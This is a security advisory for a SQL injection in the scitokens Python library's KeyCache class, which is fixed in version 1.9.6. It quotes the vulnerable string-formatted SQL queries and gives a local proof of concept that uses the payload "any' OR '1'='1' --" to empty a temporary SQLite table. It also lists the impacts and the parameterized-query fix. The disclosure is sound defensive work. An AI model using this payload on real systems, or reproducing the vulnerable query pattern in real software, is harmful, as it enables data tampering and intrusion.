SciTokens is vulnerable to SQL Injection in KeyCache
Summary
The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.
Ran the POC below locally.
Details
File: src/scitokens/utils/keycache.py
Vulnerable Code Snippets
1. In addkeyinfo (around line 74):
curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
2. In _addkeyinfo (around lines 89 and 94):
insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
'{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
keydata=json.dumps(keydata), next_update=time.time()+next_update))
3. In _delete_cache_entry (around line 128):
curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
key_id))
4. In _add_negative_cache_entry (around lines 148 and 152):
insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
'{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
keydata=keydata, next_update=time.time()+cache_retry_interval))
5. In getkeyinfo (around lines 193 and 198):
key_query = ("SELECT * FROM keycache WHERE "
"issuer = '{issuer}'")
# ...
curs.execute(key_query.format(issuer=issuer, key_id=key_id))
PoC
import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
def poc_sql_injection():
print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
# We will demonstrate the vulnerability by manually executing the kind of query
# that WAS present in the code, showing how it can be exploited.
# Setup temporary database
fd, db_path = tempfile.mkstemp()
os.close(fd)
conn = sqlite3.connect(db_path)
curs = conn.cursor()
curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
# Add legitimate entries
curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
conn.commit()
curs.execute(" SELECT count(*) FROM keycache")
print(f"Count before injection: {curs.fetchone()[0]}")
# MALICIOUS INPUT
# The original code was:
# curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
malicious_issuer = "any' OR '1'='1' --"
malicious_kid = "irrelevant"
print(f"Simulating injection with issuer: {malicious_issuer}")
# This simulates what the VULNERABLE code did:
query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
print(f"Generated query: {query}")
curs.execute(query)
conn.commit()
curs.execute("SELECT count(*) FROM keycache")
count = curs.fetchone()[0]
print(f"Count after injection: {count}")
if count == 0:
print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
conn.close()
os.remove(db_path)
if __name__ == "__main__":
poc_sql_injection()
Impact
An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could:
- Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
- Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
- Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using
ATTACH DATABASEto write a malicious file).
MITIGATION AND WORKAROUNDS
Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | scitokens | < 1.9.6 | 1.9.6 |
Referencias
- https://github.com/scitokens/scitokens/security/advisories/GHSA-rh5m-2482-966c
- https://nvd.nist.gov/vuln/detail/CVE-2026-32714
- https://github.com/scitokens/scitokens/commit/3dba108853f2f4a6c0f2325c03779bf083c41cf2
- https://github.com/scitokens/scitokens
- https://github.com/scitokens/scitokens/releases/tag/v1.9.6
- https://pypi.org/project/scitokens
- https://github.com/advisories/GHSA-rh5m-2482-966c
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Debilidad (CWE)
CWE-89- Plataforma
- Python (PyPI)
- Paquete
scitokens- Publicada
- 31.03.2026
- Actualizado
- 11.10.2026 13:17
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-rh5m-2482-966c - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-530 - PyPA Advisory Database; CC BY 4.0
Historial de vulnerabilidades: scitokens
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 3
- Primera → última
- 03.2026 03.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 1
- Alta 2
Divulgaciones por año
- 2026: 3
-
SciTokens is vulnerable to SQL Injection in KeyCache esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.